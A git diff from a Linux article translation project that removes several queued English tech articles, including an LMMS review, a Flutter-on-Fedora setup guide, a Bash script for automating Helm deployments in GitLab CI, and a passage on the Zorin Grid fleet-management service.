-[9]: https://www.2daygeek.com/wp-content/uploads/2020/01/librem-1.jpg -[10]: https://puri.sm/products/ -[11]: https://www.linuxtechnews.com/slimbook-is-offering-a-new-laptop-called-slimbook-pro-x/ -[12]: https://www.2daygeek.com/wp-content/uploads/2020/01/slimbook.jpg -[13]: https://slimbook.es/en/comparison-slimbook-pro-x-with-other-ultrabooks -[14]: https://www.tuxedocomputers.com/en/Linux-Hardware/Linux-Notebooks.tuxedo -[15]: https://www.thinkpenguin.com/catalog/notebook-computers-gnu-linux-2 -[16]: http://www.emperorlinux.com/systems/ -[17]: https://www.2daygeek.com/wp-content/uploads/2020/01/zareason-1.jpg -[18]: https://zareason.com/Laptops/ -[19]: https://shop.lacpdx.com/laptops/ -[20]: https://www.2daygeek.com/wp-content/uploads/2020/01/entroware.jpg -[21]: https://www.entroware.com/store/laptops -[22]: https://store.vikings.net/libre-friendly-hardware/x200-ryf-certfied -[23]: https://junocomputers.com/store/ -[24]: https://www.linuxtechnews.com/pinebook-pro-199-linux-laptop-pre-orders-ansi-iso-keyboards/ -[25]: https://www.2daygeek.com/wp-content/uploads/2020/01/Pinebook_Pro-photo-1.jpg -[26]: https://store.pine64.org/ -[27]: https://shop.libiquity.com/ -[28]: https://www.linuxcertified.com/linux_laptops.html -[29]: https://www.linuxtechnews.com/star-labs-offering-a-range-of-linux-laptops-with-zorin-os-15-pre-installed/ -[30]: https://www.2daygeek.com/wp-content/uploads/2020/01/starlabs-1.jpg -[31]: https://earth.starlabs.systems/pages/laptops diff --git a/sources/tech/20200114 LMMS- A Free - Open Source Digital Audio Workstation (DAW).md b/sources/tech/20200114 LMMS- A Free - Open Source Digital Audio Workstation (DAW).md deleted file mode 100644 index 1b3358f7bd..0000000000 --- a/sources/tech/20200114 LMMS- A Free - Open Source Digital Audio Workstation (DAW).md +++ /dev/null @@ -1,127 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (LMMS: A Free & Open Source Digital Audio Workstation (DAW)) -[#]: via: (https://itsfoss.com/lmms/) -[#]: author: (Ankush Das https://itsfoss.com/author/ankush/) - -LMMS: A Free & Open Source Digital Audio Workstation (DAW) -====== - -_**In this week’s Linux application highlight, we take a look at a free and open-source DAW that helps make music with most of the essential features offered.**_ - -### LMMS: A Free & Open Source Software To Help Make Music - -[LMMS][1] is a cross-platform open source [DAW][2] hosted on [GitHub][3]. It is completely free to use and you do not need to purchase any kind of license to use it. - -If you’re curious, there’s no specific full-form for “LMMS” acronym but you can consider it along the lines of “**Let’s Make Music**” or formerly known as “**Linux MultiMedia Studio**” as stated in one of their [official forum post][4] years back. - -So, with the help of LMMS, you should be able to work on making music on Linux. - -Of course, you should not expect a free DAW to replace a full-fledged professional DAW bundled with proprietary plugins – but for starters, it isn’t a bad one. - -![][5] - -If you’re used to other DAWs, it might take a while to get comfortable with the user interface. For instance, I’ve used [Studio One][6] and [Mixcraft][7] as a beginner – so the UI of LMMS looked different. - -But, the good news is – you get a [detailed official documentation][8] of LMMS. So, if you have trouble learning how it works, simply refer to the official documentation available on their [website][1]. - -**Recommended Read:** - -![][9] - -#### [Best Audio Editors For Linux][10] - -These awesome free and open source audio editors let you create awesome music in Linux. Check out the list of top Linux audio editors. - -### Features of LMMS - -![][11] - -Just like any other DAW, you will find plugins, samples to use, instruments, and MIDI support. However, it is indeed a long list of features. So, instead of taking a whole day explaining it, let me highlight all the necessary features that LMMS provides. - - * Ability to add notes within the project without needing a separate note-taking app - * Bundled free plugins to use - * Note playback via MIDI or typing keyboard - * MIDI Editor - * Separate editor for instruments - * Track Automation support - * 64-bit VST instrument support (for wine-based VSTs) - * Built-in synthesizers that include some popular emulators for Yamaha and Roland - * Feature-rich audio plugins built-in - * Demo projects to easily get started - * Several samples included - * Native multisample support for SoundFont (SF2), Giga (GIG) and Gravis UltraSound (GUS) formats for high-quality instrument patches and banks (only if it’s relevant for your work) - * [LADSPA][12] plugin support - * You will also find the essential delay/reverb/compressor/limiter and distortion tools built-in - * Spectrum analyzer - - - -You can find some extensive [documentation on using LMMS][8]. If you face any difficulties, LMMS also has its [own forum][13] where you can ask for help. - -### Installing LMMS on Linux - -![][14] - -You can also find LMMS listed in the software center of your distribution- however, it might not feature the latest version. - -To get the latest LMMS version, you can download the .**AppImage** file from the [official download page][15]. If you want to take a look at the latest or previous releases on GitHub, you can find those in their [releases][16] section. - -If you want to use the AppImage file, you can refer to our guide on [using AppImage file][17]. - -You may also try [installing the Flatpak package][18] available on [Flathub][19]. - -[Download LMMS][15] - -### My Thoughts On LMMS - -![][20] - -Even though this is a feature-rich free and open-source DAW – personally, I found the UX a little dull. - -Of course, technically, it offers quite a lot of features and this could be useful for anyone who does not want to break their wallet to produce music. And, after all, it is an open-source solution. - -If you want a full-fledged professional DAW using the VST plugins, you might just hold on to Windows/Mac (if you’re used to it) because you still need to utilize Wine on Linux in order to make sure that the 64-bit VSTs work. - -**Wrapping Up** - -That being said, I’m not a professional music producer – so feel free to explore LMMS on Linux and make the most out of it without spending a penny. - -If you’ve used LMMS (or any similar DAW), let me know your thoughts in the comments below. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/lmms/ - -作者:[Ankush Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lujun9972 -[1]: https://lmms.io/ -[2]: https://en.wikipedia.org/wiki/Digital_audio_workstation -[3]: https://github.com/LMMS/lmms -[4]: https://lmms.io/forum/viewtopic.php?t=5908 -[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/01/lmms-screenshot.png?ssl=1 -[6]: https://www.presonus.com/products/studio-one/ -[7]: https://acoustica.com/mixcraft -[8]: https://docs.lmms.io/user-manual/ -[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2019/01/linux-audio-editors.jpeg?fit=800%2C450&ssl=1 -[10]: https://itsfoss.com/best-audio-editors-linux/ -[11]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/01/lmms-project.png?ssl=1 -[12]: https://www.ladspa.org/ -[13]: https://lmms.io/forum/ -[14]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/01/lmms-setup.jpg?ssl=1 -[15]: https://lmms.io/download#linux -[16]: https://github.com/LMMS/lmms/releases -[17]: https://itsfoss.com/use-appimage-linux/ -[18]: https://itsfoss.com/flatpak-guide/ -[19]: https://flathub.org/apps/details/io.lmms.LMMS -[20]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/01/lmms-midi-editor.png?ssl=1 diff --git a/sources/tech/20200115 Develop GUI apps using Flutter on Fedora.md b/sources/tech/20200115 Develop GUI apps using Flutter on Fedora.md deleted file mode 100644 index afff65b34e..0000000000 --- a/sources/tech/20200115 Develop GUI apps using Flutter on Fedora.md +++ /dev/null @@ -1,199 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Develop GUI apps using Flutter on Fedora) -[#]: via: (https://fedoramagazine.org/develop-gui-apps-using-flutter-on-fedora/) -[#]: author: (Carmine Zaccagnino https://fedoramagazine.org/author/carzacc/) - -Develop GUI apps using Flutter on Fedora -====== - -![][1] - -When it comes to app development frameworks, Flutter is the latest and greatest. Google seems to be planning to take over the entire GUI app development world with Flutter, starting with mobile devices, which are already perfectly supported. Flutter allows you to develop cross-platform GUI apps for multiple targets — mobile, web, and desktop — from a single codebase. - -This post will go through how to install the Flutter SDK and tools on Fedora, as well as how to use them both for mobile development and web/desktop development. - -### Installing Flutter and Android SDKs on Fedora - -To get started building apps with Flutter, you need to install - - * the Android SDK; - * the Flutter SDK itself; and, - * optionally, an IDE and its Flutter plugins. - - - -#### Installing the Android SDK - -Flutter requires the installation of the Android SDK with the entire [Android Studio][2] suite of tools. Google provides a _tar.gz_ archive. The Android Studio executable can be found in the _android-studio/bin_ directory and is called _studio.sh_. To run it, open a terminal, _cd_ into the aforementioned directory, and then run: - -``` -$ ./studio.sh -``` - -#### Installing the Flutter SDK - -Before you install Flutter you may want to consider what release channel you want to be on. - -The _stable_ channel is least likely to give you a headache if you just want to build a mobile app using mainstream Flutter features. - -On the other hand, you may want to use the latest features, especially for desktop and web app development. In that case, you might be better off installing either the latest version of the _beta_ or even the _dev_ channel. - -Either way, you can switch between channels after you install using the _flutter channel_ command explained later in the article. - -Head over to the [official SDK archive page][3] and download the latest installation bundle for the release channel most appropriate for your use case. - -The installation bundle is simply a _xz-_compressed tarball (_.tar.xz_ extension). You can extract it wherever you want, given that you add the _flutter/bin_ subdirectory to the _PATH_ environment variable. - -#### Installing the IDE plugins - -To install the plugin for [Visual Studio Code][4], you need to search for _Flutter_ in the _Extensions_ tab. Installing it will also install the _Dart_ plugin. - -The same will happen when you install the plugin for Android Studio by opening the _Settings_, then the _Plugins_ tab and installing the _Flutter_ plugin. - -### Using the Flutter and Android CLI Tools on Fedora - -Now that you’ve installed Flutter, here’s how to use the CLI tool. - -#### Upgrading and Maintaining Your Flutter Installations - -The _flutter doctor_ command is used to check whether your installation and related tools are complete and don’t require any further action. - -For example, the output you may get from _flutter doctor_ right after installing on Fedora is: - -``` -Doctor summary (to see all details, run flutter doctor -v): - -[✓] Flutter (Channel stable, v1.12.13+hotfix.5, on Linux, locale it_IT.UTF-8) - -[!] Android toolchain - develop for Android devices (Android SDK version 29.0.2) - - ✗ Android licenses not accepted. To resolve this, run: flutter doctor --android-licenses - -[!] Android Studio (version 3.5) - - ✗ Flutter plugin not installed; this adds Flutter specific functionality. - - ✗ Dart plugin not installed; this adds Dart specific functionality. - -[!] Connected device - - ! No devices available - -! Doctor found issues in 3 categories. -``` - -Of course the issue with the Android toolchain has to be resolved in order to build for Android. Run this command to accept the licenses: - -``` -$ flutter doctor --android-licenses -``` - -Use the _flutter channel_ command to switch channels after installation. It’s just like switching branches on Git (and that’s actually what it does). You use it in the following way: - -``` -$ flutter channel -``` - -…where you’d replace _<channel_name>_ with the release channel you want to switch to. - -After doing that, or whenever you feel the need to do it, you need to update your installation. You might consider running this every once in a while or when a major update comes out if you follow Flutter news. Run this command: - -``` -$ flutter upgrade -``` - -#### Building for Mobile - -You can build for Android very easily: the _flutter build_ command supports it by default, and it allows you to build both APKs and newfangled app bundles. - -All you need to do is to create a project with _flutter create_, which will generate some code for an example app and the necessary _android_ and _ios_ folders. - -When you’re done coding you can either run: - - * _flutter build apk_ or _flutter build appbundle_ to generate the necessary app files to distribute, or - * _flutter run_ to run the app on a connected device or emulator directly. - - - -When you run the app on a phone or emulator with _flutter run_, you can use the _R_ button on the keyboard to use _stateful hot reload_. This feature updates what’s displayed on the phone or emulator to reflect the changes you’ve made to the code without requiring a full rebuild. - -If you input a capital _R_ character to the debug console, you trigger a _hot restart_. This restart doesn’t preserve state and is necessary for bigger changes to the app. - -If you’re using a GUI IDE, you can trigger a hot reload using the _bolt_ icon button and a hot restart with the typical _refresh_ button. - -#### Building for the Desktop - -To build apps for the desktop on Fedora, use the [flutter-desktop-embedding][5] repository. The _flutter create_ command doesn’t have templates for desktop Linux apps yet. That repository contains examples of desktop apps and files required to build on desktop, as well as examples of plugins for desktop apps. - -To build or run apps for Linux, you also need to be on the _master_ release channel and enable Linux desktop app development. To do this, run: - -``` -$ flutter config --enable-linux-desktop -``` - -After that, you can use _flutter run_ to run the app on your development workstation directly, or run _flutter build linux_ to build a binary file in the _build/_ directory. - -If those commands don’t work, run this command in the project directory to generate the required files to build in the _linux/_ directory: - -``` -$ flutter create . -``` - -#### Building for the Web - -Starting with Flutter 1.12, you can build Web apps using Flutter with the mainline codebase, without having to use the _flutter_web_ forked libraries, but you have to be running on the _beta_ channel. - -If you are (you can switch to it using _flutter channel beta_ and _flutter upgrade_ as we’ve seen earlier), you need to enable web development by running _flutter config –enable-web_. - -After doing that, you can run _flutter run -d web_ and a local web server will be started from which you can access your app. The command returns the URL at which the server is listening, including the port number. - -You can also run _flutter build web_ to build the static website files in the _build/_ directory. - -If those commands don’t work, run this command in the project directory to generate the required files to build in the _web/_ directory: - -``` -$ flutter create . -``` - -### Packages for Installing Flutter - -Other distributions have packages or community repositories to install and update in a more straightforward and intuitive way. However, at the time of writing, no such thing exists for Flutter. If you have experience packaging RPMs for Fedora, consider contributing to [this GitHub repository][6] for [this COPR package][7]. - -The next step is learning Flutter. You can do that in a number of ways: - - * Read the good API reference documentation on the official site - * Watching some of the introductory video courses available online - * Read one of the many books out there today. _[Check out the author’s bio for a suggestion! — Ed.]_ - - - -* * * - -_Photo by [Randall Ruiz][8] on [Unsplash][9]._ - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/develop-gui-apps-using-flutter-on-fedora/ - -作者:[Carmine Zaccagnino][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/carzacc/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/01/flutter-816x345.jpg -[2]: https://developer.android.com/studio -[3]: https://flutter.dev/docs/development/tools/sdk/releases?tab=linux -[4]: https://fedoramagazine.org/using-visual-studio-code-fedora/ -[5]: https://github.com/google/flutter-desktop-embedding -[6]: https://github.com/carzacc/flutter-copr -[7]: https://copr.fedorainfracloud.org/coprs/carzacc/flutter/ -[8]: https://unsplash.com/@ruizra?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText -[9]: https://unsplash.com/s/photos/flutter?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText diff --git a/sources/tech/20200116 Automating Helm deployments with Bash.md b/sources/tech/20200116 Automating Helm deployments with Bash.md deleted file mode 100644 index a8e8567b0b..0000000000 --- a/sources/tech/20200116 Automating Helm deployments with Bash.md +++ /dev/null @@ -1,385 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Automating Helm deployments with Bash) -[#]: via: (https://opensource.com/article/20/1/automating-helm-deployments-bash) -[#]: author: (Darin London https://opensource.com/users/dmlond) - -Automating Helm deployments with Bash -====== -This Bash script enables developers to focus on their code rather than -the deployment logic in each project. -![Person using a laptop][1] - -Some of our applications are hosted in a [Kubernetes][2] cluster, and we use GitLab Continuous Integration (CI) to automate deployments and Helm 2 to deploy our applications. Helm charts enable the storage of templates of Kubernetes object YAML files with variables that can be programmatically set from command-line arguments passed when the chart is used during deployments. This allows us to store critical secrets in GitLab-protected environment variables or in Hashicorp Vault and use them within the CI deployment job. - -Our deployment job uses a [Bash script to run the deployment process][3]. This Bash script presents a number of features that are valuable for use within a CI/CD environment: - - 1. It facilitates use outside of the CI/CD environment. GitLab CI and other CI systems store job steps as lines of executable shell code in a "script" section of a CI text file (.gitlab-ci.yml, for example). While this is useful to ensure basic executable steps can be stored without external dependencies, it prevents developers from using the same code in testing or manual deployment scenarios. In addition, many advanced features of the Bash system cannot be easily used in these script sections. - 2. It facilitates unit testing of important deployment processes. None of the CI systems provide a way of testing whether deployment logic performs as expected. Carefully constructed [Bash scripts can be unit tested with BATS][4]. - 3. It facilitates reuse of individual functions within the script. The last section uses a guard clause, **if [[ "${BASH_SOURCE[0]}" == "${0}" ]]**, which prevents the **run_main** function from being called when the script is not being executed. This allows the script to be sourced, which then allows users to make use of the many useful individual functions within it. This is crucial for proper BATS testing. - 4. It uses environment variables to protect sensitive information and make the script reusable across many projects and project application environments. GitLab CI makes many of these environment variables available when run by a GitLab CI runner. These must be manually set before using the script outside GitLab CI. - - - -The script performs all tasks required to deploy a Helm chart for an application to Kubernetes and waits for the deployment to be ready using kubectl and Helm. Helm runs with a local Tiller installation instead of running Tiller in the Kubernetes cluster. The Kubernetes **HELM_USER** and **HELM_PASSWORD** are used to log into the Kubernetes **CLUSTER_SERVER** and **PROJECT_NAMESPACE**. Tiller is started, Helm is initialized in client-only mode, and its repo is updated. The template is linted with Helm to ensure that syntax errors have not been accidentally committed. The template is then deployed in declarative mode, using **helm upgrade --install**. Helm waits for the deployment to be ready using the **\--wait flag**. - -The script ensures that certain template variables are set during the deployment and allows special project-specific variables to be specified in the GitLab CI **PROJECT_SPECIFIC_DEPLOY_ARGS** environment variable. All environment variables required in the deployment are checked early in the script execution, and the script exits with a non-zero exit status if any are missing. - -This script has been used in multiple GitLab CI-hosted projects. It has helped us focus on our code rather than the deployment logic in each project. - -### The script - - -``` -#!/bin/bash - -# MIT License -# -# Copyright (c) 2019 Darin London -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in all -# copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -# SOFTWARE. - -log_level_for() -{ -  case "${1}" in -    "error") -      echo 1 -      ;; - -    "warn") -      echo 2 -      ;; - -    "debug") -      echo 3 -      ;; - -    "info") -      echo 4 -      ;; -    *) -      echo -1 -      ;; -  esac -} - -current_log_level() -{ -  log_level_for "${LOG_LEVEL}" -} - -error() -{ -  [ $(log_level_for "error") -le $(current_log_level) ] &&  echo "${1}" >&2 -} - -warn() -{ -  [ $(log_level_for "warn") -le $(current_log_level) ] &&  echo "${1}" >&2 -} - -debug() -{ -  [ $(log_level_for "debug") -le $(current_log_level) ] &&  echo "${1}" >&2 -} - -info() -{ -  [ $(log_level_for "info") -le $(current_log_level) ] &&  echo "${1}" >&2 -} - -check_required_environment() { -  local required_env="${1}" - -  for reqvar in $required_env -  do -    if [ -z "${!reqvar}" ] -    then -      error "missing ENVIRONMENT ${reqvar}!" -      return 1 -    fi -  done -} - -check_default_environment() { -  local required_env="${1}" - -  for varpair in $required_env -  do -    local manual_environment=$(echo "${varpair}" | cut -d':' -f1) -    local default_if_not_set=$(echo "${varpair}" | cut -d':' -f2) -    if [ -z "${!manual_environment}" ] && [ -z "${!default_if_not_set}" ] -    then -      error "missing default ENVIRONMENT, set ${manual_environment} or ${default_if_not_set}!" -      return 1 -    fi -  done -} - -dry_run() { -  [ ${DRY_RUN} ] && info "skipping for dry run" && return -  return 1 -} - -init_tiller() { -  info "initializing local tiller" -  dry_run && return - -  export TILLER_NAMESPACE=$PROJECT_NAMESPACE -  export HELM_HOST=localhost:44134 -  # -  # run tiller locally instead of in the cluster -  tiller --storage=secret & -  export TILLER_PID=$! -  sleep 1 -  kill -0 ${TILLER_PID} -  if [ $? -gt 0 ] -  then -    error "tiller not running!" -    return 1 -  fi -} - -init_helm() { -  info "initializing helm" -  dry_run && return - -  helm init --client-only -  if [ $? -gt 0 ] -  then -    error "could not initialize helm" -    return 1 -  fi -} - -init_helm_with_tiller() { -  init_tiller || return 1 -  init_helm || return 1 -  info "updating helm client repository information" -  dry_run && return -  helm repo update -  if [ $? -gt 0 ] -  then -    error "could not update helm repository information" -    return 1 -  fi -} - -decommission_tiller() { -  if [ -n "${TILLER_PID}" ] -  then -    kill ${TILLER_PID} -    if [ $? -gt 0 ] -    then -     return -    fi -  fi -} - -check_required_deploy_arg_environment() { -  [ -z "${PROJECT_SPECIFIC_DEPLOY_ARGS}" ] && return -  for reqvar in ${PROJECT_SPECIFIC_DEPLOY_ARGS} -  do -    if [ -z ${!reqvar} ] -    then -      error "missing Deployment ENVIRONMENT ${reqvar} required!" -      return 1 -    fi -  done -} - -project_specific_deploy_args() { -  [ -z "${PROJECT_SPECIFIC_DEPLOY_ARGS}" ] && echo "" && return - -  extraArgs='' -  for deploy_arg_key in ${PROJECT_SPECIFIC_DEPLOY_ARGS} -  do -    extraArgs="${extraArgs} --set $(echo "${deploy_arg_key}" | sed 's/__/\\./g' | tr '[:upper:]' '[:lower:]')=${!deploy_arg_key}" -  done - -  echo "${extraArgs}" -} - -check_required_cluster_login_environment() { -  check_required_environment "HELM_TOKEN HELM_USER PROJECT_NAMESPACE CLUSTER_SERVER" || return 1 -} - -cluster_login() { -  info "authenticating ${HELM_USER} in ${PROJECT_NAMESPACE}" -  dry_run && return - -  kubectl config set-cluster ci_kube --server="${CLUSTER_SERVER}" || return 1 -  kubectl config set-credentials "${HELM_USER}" --token="${HELM_TOKEN}" || return 1 -  kubectl config set-context ${PROJECT_NAMESPACE}-deploy  --cluster=ci_kube --namespace=${PROJECT_NAMESPACE} --user=${HELM_USER} || return 1 -  kubectl config use-context ${PROJECT_NAMESPACE}-deploy || return 1 -} - -lint_template() { -  info "linting template" -  dry_run && return - -  helm lint ${CI_PROJECT_DIR}/helm-chart/${CI_PROJECT_NAME} -} - -check_required_image_pull_environment() { -  if [ "${CI_PROJECT_VISIBILITY}" == "public" ] -  then -    check_required_environment "CI_REGISTRY CI_DEPLOY_USER CI_DEPLOY_PASSWORD" || return 1 -  fi -} - -image_pull_settings() { -  if [ "${CI_PROJECT_VISIBILITY}" == "public" ] -  then -    echo "" -  else -    echo "--set registry.root=${CI_REGISTRY} --set registry.secret.username=${CI_DEPLOY_USER} --set registry.secret.password=${CI_DEPLOY_PASSWORD}" -  fi -} - -deployment_name() { -  if [ -n "${DEPLOYMENT_NAME}" ] -  then -    echo "${DEPLOYMENT_NAME}" -  else -    echo "${CI_ENVIRONMENT_SLUG}-${CI_PROJECT_NAME}" -  fi -} - -deploy_template() { -  info "deploying $(deployment_name) from template" -  if dry_run -  then -    info "helm upgrade --force --recreate-pods --debug --set image.repository=${CI_REGISTRY_IMAGE}/${CI_PROJECT_NAME} --set image.tag=${CI_COMMIT_SHORT_SHA} --set environment=${CI_ENVIRONMENT_NAME} --set-string git_commit=${CI_COMMIT_SHORT_SHA} --set git_ref=${CI_COMMIT_REF_SLUG} --set ci_job_id=${CI_JOB_ID} $(environment_url_settings) $(image_pull_settings) $(project_specific_deploy_args) --wait --install $(deployment_name) ${CI_PROJECT_DIR}/helm-chart/${CI_PROJECT_NAME}" -  else -    helm upgrade --force --recreate-pods --debug \ -    --set image.repository="${CI_REGISTRY_IMAGE}/${CI_PROJECT_NAME}" \ -    --set image.tag="${CI_COMMIT_SHORT_SHA}" \ -    --set environment="${CI_ENVIRONMENT_NAME}" \ -    --set-string git_commit="${CI_COMMIT_SHORT_SHA}" \ -    --set git_ref="${CI_COMMIT_REF_SLUG}" \ -    --set ci_job_id="${CI_JOB_ID}" \ -    $(image_pull_settings) \ -    $(project_specific_deploy_args) \ -    --wait \ -    --install $(deployment_name) ${CI_PROJECT_DIR}/helm-chart/${CI_PROJECT_NAME} -  fi -} - -get_pods() { -  kubectl get pods -l ci_job_id="${CI_JOB_ID}" -} - -watch_deployment() { -  local watch_deployment=$(deployment_name) -  if [ -n "${WATCH_DEPLOYMENT}" ] -  then -    watch_deployment="${WATCH_DEPLOYMENT}" -  fi -  info "waiting until deployment ${watch_deployment} is ready" -  dry_run && return - -  kubectl rollout status deployment/${watch_deployment} -w || return 1 -  sleep 5 -  get_pods || return 1 -  # see what has been deployed -  kubectl describe deployment -l app=${CI_PROJECT_NAME},environment=${CI_ENVIRONMENT_NAME},git_commit=${CI_COMMIT_SHORT_SHA} || return 1 -  if [ -n "${CI_ENVIRONMENT_URL}" ] -  then -    kubectl describe service -l app=${CI_PROJECT_NAME},environment=${CI_ENVIRONMENT_NAME} || return 1 -    kubectl describe route -l app=${CI_PROJECT_NAME},environment=${CI_ENVIRONMENT_NAME} || return 1 -  fi -} - -run_main() { -  check_required_environment "CI_PROJECT_NAME CI_PROJECT_DIR CI_COMMIT_REF_SLUG CI_REGISTRY_IMAGE CI_ENVIRONMENT_NAME CI_JOB_ID CI_COMMIT_SHORT_SHA" || return 1 -  check_default_environment "WATCH_DEPLOYMENT:CI_ENVIRONMENT_SLUG" || return 1 -  check_required_deploy_arg_environment || return 1 -  check_required_cluster_login_environment || return 1 -  check_required_image_pull_environment || return 1 -  cluster_login -  if [ $? -gt 0 ] -  then -    error "could not login kubectl" -    return 1 -  fi - -  init_helm_with_tiller -  if [ $? -gt 0 ] -  then -    error "could not initialize helm" -    return 1 -  fi - -  lint_template -  if [ $? -gt 0 ] -  then -    error "linting failed" -    return 1 -  fi - -  deploy_template -  if [ $? -gt 0 ] -  then -    error "could not deploy template" -    return 1 -  fi - -  watch_deployment -  if [ $? -gt 0 ] -  then -    error "could not watch deployment" -    return 1 -  fi - -  decommission_tiller -  info "ALL Complete!" -  return -} - -if [[ "${BASH_SOURCE[0]}" == "${0}" ]] -then -  run_main -  if [ $? -gt 0 ] -  then -    exit 1 -  fi -fi -``` - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/automating-helm-deployments-bash - -作者:[Darin London][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/dmlond -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) -[2]: https://opensource.com/resources/what-is-kubernetes -[3]: https://gist.github.com/dmlond/016ff7c3757fee00f9d02e36e6c0c298 -[4]: https://opensource.com/article/19/2/testing-bash-bats diff --git a/sources/tech/20200118 Zorin Grid Lets You Remotely Manage Multiple Zorin OS Computers.md b/sources/tech/20200118 Zorin Grid Lets You Remotely Manage Multiple Zorin OS Computers.md deleted file mode 100644 index 184b68d84e..0000000000 --- a/sources/tech/20200118 Zorin Grid Lets You Remotely Manage Multiple Zorin OS Computers.md +++ /dev/null @@ -1,108 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Zorin Grid Lets You Remotely Manage Multiple Zorin OS Computers) -[#]: via: (https://itsfoss.com/zorin-grid/) -[#]: author: (Ankush Das https://itsfoss.com/author/ankush/) - -Zorin Grid Lets You Remotely Manage Multiple Zorin OS Computers -====== - -One of the major hurdles institutes face is in managing and updating multiple Linux systems from a central point. - -Well, Zorin OS has come up with a new cloud-based tool that will help you manage multiple computers running Zorin OS from one single interface. You can update the systems, install apps and configuration all systems remotely using this tool called [Zorin Grid][1]. - -### Zorin Grid: Manage a fleet of Zorin OS computers remotely - -![][2] - -**Zorin Grid is a tool that makes it simple to set up, manage, and secure a fleet of Zorin OS-powered computers in businesses, schools, and organizations.** - -When it comes to managing Linux distributions (here, Zorin OS) on a multitude of systems for an organization – it is quite time-consuming. - -If it will be easier to manage Linux systems, more organizations will be interested to switch using Linux just like the [Italian city Vicenza replaced Windows by Zorin OS][3]. - -For the very same reason, the Zorin team decided to create ‘**Zorin Grid**‘ with the help of which every school, enterprises, organizations, and businesses will be able to easily manage their Zorin OS-powered machines. - -### Zorin Grid features - -![Zorin Grid Features][4] - -You might have guessed what it is capable of – but let me highlight the key features of Zorin Grid as per its official webpage: - - * Install and Remove Apps - * Set software update and security patch policies - * Monitor computer status - * Enforce security policies - * Keep track of software and hardware inventory - * Set desktop settings - * Organize computers into groups (for teams and departments) - * Role-based access control and audit logging - - - -In addition to these, you will be able to do a couple more things using the Zorin Grid service. But, it looks like most of the essential tasks will be covered by Zorin Grid. - -### How does Zorin Grid work? - -![][5] - -Zorin Grid is a cloud based software as a service. Zorin will be charging a monthly subscription fee for each computer managed by Zorin Grid in an organization. - -You’ll have to install the Zorin Grid client on all the systems that you want to manage. Since it is cloud-based, you can manage all the Zorin systems on your grid from a web browser by logging into you Zorin Grid account. - -You choose how to configure the computers once and the Zorin Grid applies the same configuration to all or specific computers in your organization. - -The price has not been finalized. [Artyom Zorin][6], **CEO of Zorin Group, told It’s FOSS** that schools and non-profit organizations will get Zorin Grid for a reduced pricing. - -While client-side software for Zorin Grid will be open source, the Zorin Grid server won’t be open source initially. Releasing it under an open source license is _tentatively_ on their roadmap. - -Artyom also told that they **plan to support other Linux distributions starting with Ubuntu and Ubuntu-based distros** after launching Zorin Grid for Zorin OS systems this summer. - -In case you decide to migrate from Windows to Zorin OS for your organization or business, you will find a [useful migration guide][7] by the Zorin OS team to help you switch to Linux. - -[Zorin Grid][1] - -**Wrapping Up** - -Let me summarize all the important points about Zorin Grid: - - * Zorin Grid is an upcoming cloud based service that lets you manage multiple Zorin OS systems. - * It’s a premium service that charges for each computer used. The pricing is not determined yet. - * Educational institutes and non-profit organizations can get Zorin Grid for a reduced pricing. - * Initially it can only handle Zorin OS. Other Ubuntu-based distributions are on the road-map but there is no definite timeline for that. - * The service should be available in the summer 2020. - * Zorin Grid server won’t be open source initially. - - - -Zorin Grid looks to be an impressive premium tool for organizations or businesses 